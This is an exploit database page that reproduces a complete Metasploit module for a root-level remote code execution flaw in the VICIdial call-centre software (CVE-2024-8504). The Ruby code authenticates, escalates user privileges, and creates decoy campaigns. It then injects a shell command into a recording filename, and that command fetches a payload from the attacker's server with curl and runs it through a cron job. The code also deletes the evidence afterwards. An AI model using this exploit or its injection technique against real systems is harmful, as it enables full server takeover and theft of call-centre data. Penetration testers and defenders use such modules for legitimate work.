Lucene search
K

VICIdial Authenticated Remote Code Execution Exploit

🗓️ 01 Oct 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 195 Views

VICIdial Authenticated Remote Code Execution Exploit. Allows authenticated "agent" to execute shell commands as "root". Can be chained with CVE-2024-8503 for unauthenticated exploitation

Related
Code
ReporterTitlePublishedViews
Family
0day.today
VICIdial 2.14-917a SQL Injection Vulnerability
11 Sep 202400:00
zdt
0day.today
VICIdial 2.14-917a Remote Code Execution Vulnerability
11 Sep 202400:00
zdt
GithubExploit
Exploit for CVE-2024-8504
14 Sep 202406:27
githubexploit
GithubExploit
Exploit for CVE-2024-8504
22 Sep 202420:17
githubexploit
GithubExploit
Exploit for CVE-2024-8503
29 Apr 202609:13
githubexploit
BDU FSTEC
The vulnerability in the VERM_AJAX_functions.php script of the software for managing call centers allows a violator to execute arbitrary code.
26 Feb 202500:00
bdu_fstec
Circl
CVE-2024-8503
10 Sep 202422:37
circl
Circl
CVE-2024-8504
10 Sep 202422:37
circl
CNNVD
VICIdial 安全漏洞
10 Sep 202400:00
cnnvd
CNNVD
VICIdial SQL注入漏洞
10 Sep 202400:00
cnnvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VICIdial Authenticated Remote Code Execution',
        'Description' => %q{
          An attacker with authenticated access to VICIdial as an "agent"
          can execute arbitrary shell commands as the "root" user. This
          attack can be chained with CVE-2024-8503 to execute arbitrary
          shell commands starting from an unauthenticated perspective.
        },
        'Author' => [
          'Valentin Lobstein',              # Metasploit Module
          'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-8504'],
          ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
        ],
        'DisclosureDate' => '2024-09-10',
        'Platform' => %w[unix linux],
        'Arch' => %w[ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Privileged' => true
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 300,
          'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Administrator username']),
      OptString.new('PASSWORD', [true, 'Administrator password']),
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'GET'
    })

    return CheckCode::Unknown unless res&.code == 200

    html_doc = res.get_html_document

    version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
                   res.body.split("\n").find { |line| line.include?('VERSION:') }

    return CheckCode::Unknown unless version_info

    extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')

    return CheckCode::Unknown if extracted_version.empty?

    print_status("VICIdial version: #{extracted_version}")

    vulnerable_version = Rex::Version.new('2.14-917a')
    current_version = Rex::Version.new(extracted_version)

    return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe
  end

  def exploit
    # Start the HTTP server to handle incoming requests from the payload
    start_service
    print_status('Server started.')

    # Add the resource to serve the payload and prepare the listener
    primer

    # Authenticate as an administrator using provided credentials
    target_uri, request_headers = authenticate_admin

    # Elevate user privileges by updating user settings
    update_user_settings(target_uri, request_headers)

    # Update the system settings for further exploitation
    update_system_settings(target_uri, request_headers)

    # Create a dummy campaign to act as a decoy during the attack
    fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)

    # Modify the settings of the newly created dummy campaign
    update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)

    # Create a dummy list associated with the dummy campaign
    create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)

    # Retrieve phone credentials (extension and password) to authenticate as an agent
    phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)

    # Authenticate to the agent portal using the retrieved phone credentials and campaign ID
    session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)

    # Insert a malicious recording that contains the payload, using the agent session
    insert_malicious_recording(request_headers, session_name, session_id, recording_extension)

    # Clean up by deleting the campaign created earlier
    delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)

    # Start the cron job to execute the malicious payload
    wait_for_cron_job
  end

  def primer
    add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
    print_status('Payload is ready at /')
  end

  def on_request_uri_payload(cli, request)
    bash_command = <<-BASH
  #!/bin/bash
  rm -- $(readlink /proc/$$/fd/255)
  cd /var/spool/asterisk/monitor/
  #{payload.encoded}
  find . -maxdepth 1 -type f -delete
    BASH

    handle_request(cli, request, bash_command)
  end

  def handle_request(cli, request, response_payload)
    print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")

    case request.uri
    when '/'
      print_status("Sending response to #{cli.peerhost} for /")
      send_response(cli, response_payload)
    else
      print_error("Request for unknown resource: #{request.uri}")
      send_not_found(cli)
    end
  end

  def delete_dummy_campaign(target_uri, request_headers, campaign_id)
    print_status("Deleting dummy campaign with ID: #{campaign_id}")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
      'method' => 'GET',
      'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
      'headers' => request_headers
    })

    res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
  end

  def authenticate_admin
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    credentials = "#{username}:#{password}"
    credentials_base64 = Rex::Text.encode_base64(credentials)
    auth_header = "Basic #{credentials_base64}"

    target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
    request_params = { 'ADD' => '3', 'user' => username }
    request_headers = { 'Authorization' => auth_header }

    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'vars_get' => request_params,
      'headers' => request_headers,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200

    print_good("Authenticated successfully as user '#{username}'")
    [target_uri, request_headers]
  end

  def update_user_settings(target_uri, request_headers)
    faker = Faker::Internet

    user_settings_body = {
      'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
      'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
      'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
      'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
      'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
      'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
      'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',
      'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',
      'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',
      'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',
      'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',
      'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',
      'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',
      'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',
      'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',
      'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',
      'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',
      'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',
      'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',
      'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',
      'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',
      'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
      'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',
      'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',
      'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',
      'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',
      'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
      'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',
      'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',
      'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',
      'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',
      'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
      'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',
      'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',
      'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',
      'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
      'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
      'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
      'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',
      'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',
      'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',
      'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',
      'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',
      'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => user_settings_body,
      'keep_cookies' => true
    )

    print_good('Updated user settings to increase privileges')
  end

  def update_system_settings(target_uri, request_headers)
    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'headers' => request_headers,
      'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res

    system_settings_body = {}
    res.get_html_document.css('input').each do |input_tag|
      system_settings_body[input_tag['name']] = input_tag['value']
    end

    res.get_html_document.css('select').each do |select_tag|
      selected_tag = select_tag.at_css('option[selected]')
      next unless selected_tag

      system_settings_body[select_tag['name']] = selected_tag.text
    end

    system_settings_body['outbound_autodial_active'] = '0'

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => system_settings_body,
      'keep_cookies' => true
    )

    print_good('Updated system settings')
  end

  def create_dummy_campaign(target_uri, request_headers)
    fake_company_name = Faker::Company.name
    fake_campaign_id = Faker::Number.number(digits: 6).to_i
    fake_list_id = fake_campaign_id + 1
    fake_list_name = "#{fake_company_name} List"

    campaign_settings_body = {
      'ADD' => '21',
      'campaign_id' => fake_campaign_id,
      'campaign_name' => fake_company_name,
      'user_group' => '---ALL---',
      'active' => 'Y',
      'allow_closers' => 'Y',
      'hopper_level' => '1',
      'next_agent_call' => 'random',
      'local_call_time' => '12am-12am',
      'get_call_launch' => 'NONE',
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => campaign_settings_body,
      'keep_cookies' => true
    )

    print_good("Created dummy campaign '#{fake_company_name}'")
    [fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]
  end

  def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
    update_campaign_body = {
      'ADD' => '41',
      'campaign_id' => fake_campaign_id,
      'old_campaign_allow_inbound' => 'Y',
      'campaign_name' => fake_company_name,
      'active' => 'Y',
      'lead_order' => 'DOWN',
      'lead_filter_id' => 'NONE',
      'no_hopper_leads_logins' => 'Y',
      'hopper_level' => '1',
      'reset_hopper' => 'N',
      'dial_method' => 'RATIO',
      'auto_dial_level' => '1',
      'SUBMIT' => 'SUBMIT',
      'form_end' => 'END'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => update_campaign_body,
      'keep_cookies' => true
    )

    print_good('Updated dummy campaign settings')
  end

  def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
    list_settings_body = {
      'ADD' => '211',
      'list_id' => fake_list_id,
      'list_name' => fake_list_name,
      'campaign_id' => fake_campaign_id,
      'active' => 'Y',
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => list_settings_body,
      'keep_cookies' => true
    )

    print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")
  end

  def fetch_phone_credentials(target_uri, request_headers)
    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'headers' => request_headers,
      'vars_get' => { 'ADD' => '10000000000' },
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res

    phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')
    fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
      'method' => 'GET',
      'headers' => request_headers,
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res

    phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
    phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
    recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')

    if [phone_extension, phone_password, recording_extension].all?
      print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
    else
      fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
    end

    [phone_extension, phone_password, recording_extension]
  end

  def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
    vdc_db_query_body = {
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'LogiNCamPaigns',
      'format' => 'html'
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
      'method' => 'POST',
      'vars_post' => vdc_db_query_body,
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res

    doc = res.get_html_document
    mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
    mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')

    if mgr_login_name && mgr_pass_name
      print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
    else
      begin
        today_date = Time.now.strftime('%Y%m%d')
        mgr_login_name = "MGR_login#{today_date}"
        mgr_pass_name = "MGR_pass#{today_date}"
        print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
      end
    end

    manager_login_body = {
      'DB' => '0',
      'JS_browser_height' => '1313',
      'JS_browser_width' => '2560',
      'phone_login' => phone_extension,
      'phone_pass' => phone_password,
      'VD_login' => datastore['USERNAME'],
      'VD_pass' => datastore['PASSWORD'],
      'MGR_override' => '1',
      'relogin' => 'YES',
      mgr_login_name => datastore['USERNAME'],
      mgr_pass_name => datastore['PASSWORD'],
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => manager_login_body,
      'keep_cookies' => true
    )

    print_good('Entered "manager" credentials to override shift enforcement')

    agent_login_body = {
      'DB' => '0',
      'JS_browser_height' => '1313',
      'JS_browser_width' => '2560',
      'phone_login' => phone_extension,
      'phone_pass' => phone_password,
      'VD_login' => datastore['USERNAME'],
      'VD_pass' => datastore['PASSWORD'],
      'VD_campaign' => fake_campaign_id
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => agent_login_body
    )

    print_good('Authenticated as agent using phone credentials')

    session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)
    session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)

    if session_name_match && session_id_match
      session_name = session_name_match[1]
      session_id = session_id_match[1]
      print_good("Session Name: #{session_name}, Session ID: #{session_id}")
    else
      fail_with(Failure::NotFound, 'Failed to retrieve session information')
    end

    [session_name, session_id]
  end

  def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
    uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
    random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
    malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
    print_status("Generated malicious command: #{malicious_filename}")

    record1_body = {
      'server_ip' => datastore['RHOSTS'],
      'session_name' => session_name,
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'MonitorConf',
      'format' => 'text',
      'channel' => "Local/#{recording_extension}@default",
      'filename' => malicious_filename,
      'exten' => recording_extension,
      'ext_context' => 'default',
      'ext_priority' => '1',
      'FROMvdc' => 'YES',
      'FROMapi' => ''
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => record1_body,
      'keep_cookies' => true
    )

    recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)
    if recording_id_match
      recording_id = recording_id_match[1]
      print_status(res.body)
    else
      fail_with(Failure::Unknown, 'Failed to get recording ID')
    end

    record2_body = {
      'server_ip' => datastore['RHOSTS'],
      'session_name' => session_name,
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'StopMonitorConf',
      'format' => 'text',
      'channel' => "Local/#{recording_extension}@default",
      'filename' => "ID:#{recording_id}",
      'exten' => session_id,
      'ext_context' => 'default',
      'ext_priority' => '1',
      'FROMvdc' => 'YES',
      'FROMapi' => ''
    }

    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => record2_body,
      'keep_cookies' => true
    )

    print_good('Stopped malicious recording to prevent file size from growing')
  end

  def wait_for_cron_job
    print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
    service.wait
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation